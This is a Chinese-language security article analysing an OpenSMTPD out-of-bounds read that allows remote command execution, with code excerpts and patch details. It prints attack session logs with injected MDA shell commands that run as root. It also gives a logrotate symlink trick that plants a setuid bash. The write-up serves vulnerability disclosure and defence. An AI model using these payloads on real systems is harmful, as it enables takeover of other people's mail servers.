OpenBSD SMTP漏洞分析:远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。
摘要:OpenBSD SMTP漏洞分析,利用该漏洞远程执行代码,影响版本OpenBSD 6 6,OpenBSD 5 9,Debian 10,Debian 11,Fedora 31。
OpenBSD SMTP漏洞分析,利用该漏洞远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。
此漏洞于2015年12月引入越界读取(commit 80c6a60c)。攻击者可以远程利用此漏洞,在5月18日之前执行具有非root特权的任意shell命令,并在2018年5月之后可执行具有root特权的shell命令( commit a8e22235)。
由于此漏洞位于OpenSMTPD的客户端代码中,因此需要考虑两种不同的情况:
客户使用
可以在默认配置的OpenSMTPD中远程利用此漏洞。OpenSMTPD仅在本地主机上侦听,默认情况下,它接受来自本地用户的邮件并将其传递到远程服务器。如果远程服务器由攻击者控制,则攻击者可以在容易受到攻击的OpenSMTPD上执行任意shell命令。
服务器端利用
首先,攻击者必须连接到OpenSMTPD服务器(该服务器接受外部邮件)并发送bounce邮件。当OpenSMTPD重新连接到邮件服务器以传递bounce时,攻击者可能会利用OpenSMTPD的客户端漏洞。攻击者必须使OpenSMTPD崩溃并等待它重新启动,然后才能执行命令。
影响版本
安全人员已经开发了漏洞利用程序和补丁程序。版本中存在漏洞:OpenBSD 6.6(当前版本),OpenBSD 5.9,Debian 10(稳定版),Debian 11(测试版)和Fedora 31。
漏洞分析
SMTP客户端连接到SMTP服务器,并发送诸如EHLO,MAIL FROM和RCPT TO之类的命令。SMTP服务器以单行或多行响应:
第一行以三位数代码和连字符('-')开头,后跟可选文本(例如“ 250-ENHANCEDSTATUSCODES”);
最后一行以相同的三位数代码开头,后跟一个可选的空格('’)和文本(例如“ 250 HELP”)。
在OpenSMTPD的客户端代码中,这些多行响应由mta_io()函数处理:
1098 static void1099 mta_io(struct io *io, int evt, void *arg)1100 { ....1133 case IO_DATAIN:1134 nextline:1135 line = io_getline(s->io, &len); ....1146 if ((error = parse_smtp_response(line, len, &msg, &cont))) {
第一行 (when line[3] == ‘-’)会链接到一个大小为2KB的replybuf:
1177 if (cont) {1178 if (s->replybuf[0] == '\0')1179 (void)strlcat(s->replybuf, line, sizeof s->replybuf);1180 else {1181 line = line + 4; ....1187 (void)strlcat(s->replybuf, line, sizeof s->replybuf);1188 }1189 goto nextline;1190 }
最后一行 (when line[3] != ‘-’) 会链接到replybuf:
1195 if (s->replybuf[0] != '\0') {1196 p = line + 4; ....1201 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)
如果最后一行的三位数代码后面没有可选的空格和文本,则p(在1196行)指向'\ 0'之后的第一个字符,并且越界字符串链接到repeatbuf(在 1201行)。
如何使用越界读取执行命令
1.在回复的最后一行,精确控制“越界”字符串。OpenSMTPD将逐块读取我们的答复,而不是逐字符读取。 如果发送的结尾是“ xyz \ nstring \ 0”,则“ string”将链接到repeatbuf。
2.如果答复的三位数代码指示暂时错误(4yz)或永久错误(5yz),则Replybuf的内容将被写入“errorline”字段,并尝试传递消息。
3.电子邮件的基本格式为: “ field:data \ n”,构造的越界字符串(写在“errorline”字段中)可以包含“ \ n”字符:因此您可以插入新行电子邮件中的内容并更改OpenSMTPD行为。
客户漏洞利用
您可以直接利用客户端漏洞,等待OpenSMTPD连接到服务器,创建带有多行响应的 bounce,然后注入以下内容:
type: mda
mda-exec: shell command
dispatcher: local_mail
mda-user: root
“ Local_mail”是OpenSMTPD的本地调度器的名称(默认配置)。当OpenSMTPD尝试传递bounce时,MDA命令会立即执行,因为注入内容已将其类型从MTA(Message Transfer Agent)更改为MDA(Message Delivery Agent),示例如下:
首先,在OpenBSD计算机上,本地用户发送一封电子邮件(其中“ [192.168.56.1]”是攻击者的邮件服务器的IP地址)
$ id uid=1001(john) gid=1001(john) groups=1001(john) $ echo test | /usr/sbin/sendmail 'test@[192.168.56.1]'
在攻击者的邮件服务器上:
# ./ent-of-line... Connection from 192.168.56.104:39404... <-- MAIL FROM:<john@obsd66.example.org> --> 553-Error --> 553type:mda mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0dispatcher:local_mail mda-user:root
最后,该命令将在OpenBSD机器上执行:
# cat /tmp/x.*uid=0(root) gid=0(wheel) groups=0(wheel)
服务器端漏洞
利用服务器端漏洞更为复杂,并且需要三个问题:
1.漏洞代码位于客户端而非服务器上,因此它需要连接到OpenSMTPD服务器,通过发送电子邮件来生成bounce,并等待OpenSMTPD重新连接到其自己的邮件服务器。
2.无需使用permanent error’回复bounce消息,服务器将直接丢弃(double bounce),因此您可以使用‘temporary error’回复并注入内容
3. OpenSMTPD将不会立即执行注入的MDA命令。bounce将在其MTA队列中而不是MDA队列中。因此,有必要使OpenSMTPD服务崩溃并导致内存丢失。重新启动后,将立即执行MDA中的命令。
例如:
首先在攻击者的邮件服务器中(“ 192.168.56.104”是OpenBSD计算机,“ 192.168.56.1”是攻击者的邮件服务器,“ root@example.org”是OpenBSD计算机上的有效邮件地址):
# ./ent-of-line 192.168.56.104 'test@[192.168.56.1]' root@example.org ... Connected to 192.168.56.104:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0 Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.104:40061 ... <-- MAIL FROM:<>--> 421-Error--> 421type:mda mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0 dispatcher:local_mail mda-user:root Connected to 192.168.56.104:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0 Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.104:20037 ... <-- MAIL FROM:<>--> 421-Error--> 421type:invalid
在OpenBSD计算机上(管理员重新启动OpenSMTPD前后):
cat: x.*: No such file or directorysmtpd(ok)uid=0(root) gid=0(wheel) groups=0(wheel)
旧版本漏洞利用
旧版本的使用方法如下,注入的内容为:
type: mdamda-buffer: our arbitrary shell commandmda-method: mdamda-user: nobodymda-usertable: <getpwnam>
首先,在攻击者的邮件服务器中:(“ 192.168.56.141”是Debian计算机,“ 192.168.56.1”是攻击者的邮件服务器,“ root@example.org”是Debian计算机上的有效电子邮件地址)
# ./ent-of-line -u nobody 192.168.56.141 'test@[192.168.56.1]' root@example.org ... Connected to 192.168.56.141:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0: Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.141:35378 ... <-- MAIL FROM:<>--> 421-Error--> 421type:mda mda-buffer:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0 mda-method:mda mda-user:nobody mda-usertable:<getpwnam> Connected to 192.168.56.141:25 ...--> MAIL FROM:<test@[192.168.56.1]><-- 250 2.0.0: Ok--> RCPT TO:<root@example.org> NOTIFY=SUCCESS<-- 250 2.1.5 Destination address valid: Recipient ok ... Connection from 192.168.56.141:35380 ... <-- MAIL FROM:<>--> 421-Error--> 421type:invalid
在Debian重新启动前后:
# cat /tmp/x.*cat: '/tmp/x.*': No such file or directory# systemctl restart opensmtpd.service# cat /tmp/x.*uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
在Debian中(攻击者的攻击中包含“ nobody”命令):
$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ mkdir -m 0700 /tmp/maildir $ cd /tmp/maildir $ ln -s /etc tmp $ ln -s /etc/logrotate.d new $ /usr/sbin/sendmail 'test@[192.168.56.1]' << 'EOF'/var/log/lastlog { missingok rotate 1 nomail size 1 copy firstaction cp -f /bin/bash /var/log && chmod 04555 /var/log/bash endscript } EOF
在攻击者服务器上:
... Connection from 192.168.56.141:35382...<-- MAIL FROM:<nobody@debian>--> 553-Error --> 553type:mda mda-buffer:maildir mda-method:maildir mda-user:root mda-usertable:<getpwnam>
最后在Debian机器上:
$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ /var/log/bash -p# iduid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)
OpenSMTPD 6.6.4p1中发布了一个安全修复程序。在OpenBSD上,您可以运行“ syspatch”命令来应用补丁程序并重新启动OpenSMTPD服务。
相关热词搜索:OpenBSD SMTP 漏洞分析 远程执行代码 OpenBSD 6 6 OpenBSD 5 9 Debian 10 Debian 11 Fedora 31 重庆网络安全
上一篇:微软SharePoint Online漏洞(CVE-2020-0646):代码注入漏洞,实现远程代码执行,2020年1月份.NET补丁修复
下一篇:堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了